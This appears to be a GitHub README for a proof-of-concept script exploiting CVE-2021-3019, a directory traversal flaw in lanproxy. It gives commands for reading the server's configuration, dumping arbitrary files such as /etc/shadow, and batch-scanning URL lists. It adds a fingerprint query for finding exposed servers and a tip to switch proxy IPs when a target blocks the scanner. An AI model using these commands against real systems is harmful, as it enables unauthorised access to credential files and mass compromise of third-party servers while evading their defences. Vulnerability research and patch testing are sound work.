0xf4n9x/cve-2021-3019CVE-2021-3019 lanproxy目录遍历任意文件读取漏洞探测POC
CVE-2021-3019 lanproxy directory traversal arbitrary file reading vulnerability
git clone https://github.com/FanqXu/CVE-2021-3019.git
cd CVE-2021-3019
Run without parameters to display help information
Detect vulnerabilities on a single URL. If a vulnerability exists, it will read the configuration file by default and output it.
python3 POC.py -u http://127.0.0.1:9100
Use the -r parameter to read other system files. You need to know the absolute path of the file.
python3 POC.py -u http://127.0.0.1:9100 -r /etc/shadow
Use the -f parameter for batch scanning. Vulnerable URLs will be written to the success.txt file.
python3 POC.py -f urls.txt
"Server: LPS-0.1" && title=="Login"
When Connection reset by peer occurs, it is highly likely that your IP has been blocked by the target server. Simply switch to a proxy IP.